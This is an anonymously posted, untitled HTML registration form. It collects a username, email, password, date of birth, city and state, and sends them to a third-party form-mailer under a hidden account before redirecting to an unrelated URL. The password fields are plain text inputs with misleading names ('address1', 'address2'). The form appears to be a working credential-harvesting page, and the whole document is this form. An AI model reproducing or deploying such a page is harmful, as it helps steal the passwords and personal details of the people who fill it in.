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by anonymous

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<html> <head> <title></title> </head> <body> <center> <h1></h1> <form action="http://www.formbuddy.com/cgi-bin/form.pl" method="post"> <input type="hidden" name="username" value="oyas12"> <input type="hidden" name="reqd" value="0"> <input type="hidden" name="url" value="http://www.todaydocs.com/ppt/pt+8/"> <table border="0"> <tr> <td align="right"><b>UserName:</b> <td><input type="text" name="visitor_name" size="36" maxlength="100"> </tr> <tr> <td align="right"><b>Email Address:</b> <td><input type="text" name="e-mail" size="36" maxlength="100"> </tr> <tr> <td align="right"><b>Password:</b> <td><input type="text" name="address1" size="36" maxlength="100"> </tr> <tr> <td align="right"><b>Verify Password:</b> <td><input type="text" name="address2" size="36" maxlength="100"> </tr> <tr> <td align="right"><b>Date of Birth:</b> <td><SELECT NAME="dob_month"> <OPTION value=0>Month <OPTION value=1>Jan <OPTION value=2>Feb <OPTION value=3>Mar <OPTION value=4>Apr <OPTION value=5>May <OPTION value=6>Jun <OPTION value=7>Jul <OPTION value=8>Aug <OPTION value=9>Sep <OPTION value=10>Oct <OPTION value=11>Nov <OPTION value=12>Dec </SELECT> <SELECT NAME="dob_day"> <OPTION value="0">Day <OPTION value=01>01 <OPTION value=02>02 <OPTION value=03>03 <OPTION value=04>04 <OPTION value=05>05 <OPTION value=06>06 <OPTION value=07>07 <OPTION value=08>08 <OPTION value=09>09 <OPTION value=10>10 <OPTION value=11>11 <OPTION value=12>12 <OPTION value=13>13 <OPTION value=14>14 <OPTION value=15>15 <OPTION value=16>16 <OPTION value=17>17 <OPTION value=18>18 <OPTION value=19>19 <OPTION value=20>20 <OPTION value=21>21 <OPTION value=22>22 <OPTION value=23>23 <OPTION value=24>24 <OPTION value=25>25 <OPTION value=26>26 <OPTION value=27>27 <OPTION value=28>28 <OPTION value=29>29 <OPTION value=30>30 <OPTION value=31>31 </SELECT> <SELECT NAME="dob_year"> <OPTION value=0>Year <OPTION value=2005>2005 <OPTION value=2004>2004 <OPTION value=2003>2003 <OPTION value=2002>2002 <OPTION value=2001>2001 <OPTION value=2000>2000 <OPTION value=1999>1999 <OPTION value=1998>1998 <OPTION value=1997>1997 <OPTION value=1996>1996 <OPTION value=1995>1995 <OPTION value=1994>1994 <OPTION value=1993>1993 <OPTION value=1992>1992 <OPTION value=1991>1991 <OPTION value=1990>1990 <OPTION value=1989>1989 <OPTION value=1988>1988 <OPTION value=1987>1987 <OPTION value=1986>1986 <OPTION value=1985>1985 <OPTION value=1984>1984 <OPTION value=1983>1983 <OPTION value=1982>1982 <OPTION value=1981>1981 <OPTION value=1980>1980 <OPTION value=1979>1979 <OPTION value=1978>1978 <OPTION value=1977>1977 <OPTION value=1976>1976 <OPTION value=1975>1975 <OPTION value=1974>1974 <OPTION value=1973>1973 <OPTION value=1972>1972 <OPTION value=1971>1971 <OPTION value=1970>1970 <OPTION value=1969>1969 <OPTION value=1968>1968 <OPTION value=1967>1967 <OPTION value=1966>1966 <OPTION value=1965>1965 <OPTION value=1964>1964 <OPTION value=1963>1963 <OPTION value=1962>1962 <OPTION value=1961>1961 <OPTION value=1960>1960 <OPTION value=1959>1959 <OPTION value=1958>1958 <OPTION value=1957>1957 <OPTION value=1956>1956 <OPTION value=1955>1955 <OPTION value=1954>1954 <OPTION value=1953>1953 <OPTION value=1952>1952 <OPTION value=1951>1951 <OPTION value=1950>1950 <OPTION value=1949>1949 <OPTION value=1948>1948 <OPTION value=1947>1947 <OPTION value=1946>1946 <OPTION value=1945>1945 <OPTION value=1944>1944 <OPTION value=1943>1943 <OPTION value=1942>1942 <OPTION value=1941>1941 <OPTION value=1940>1940 <OPTION value=1939>1939 <OPTION value=1938>1938 <OPTION value=1937>1937 <OPTION value=1936>1936 <OPTION value=1935>1935 <OPTION value=1934>1934 <OPTION value=1933>1933 <OPTION value=1932>1932 <OPTION value=1931>1931 <OPTION value=1930>1930 <OPTION value=1929>1929 <OPTION value=1928>1928 <OPTION value=1927>1927 <OPTION value=1926>1926 <OPTION value=1925>1925 <OPTION value=1924>1924 <OPTION value=1923>1923 <OPTION value=1922>1922 <OPTION value=1921>1921 <OPTION value=1920>1920 <OPTION value=1919>1919 <OPTION value=1918>1918 <OPTION value=1917>1917 <OPTION value=1916>1916 <OPTION value=1915>1915 <OPTION value=1914>1914 <OPTION value=1913>1913 <OPTION value=1912>1912 <OPTION value=1911>1911 <OPTION value=1910>1910 </SELECT> </tr> <tr> <td align="right"><b>City:</b> <td><input type="text" name="city" size="36" maxlength="100"> </tr> <tr> <td align="right"><b>State:</b> <td><input type="text" name="state" size="36" maxlength="100"> </tr> </table> <p><input type="submit" value="Submit Form">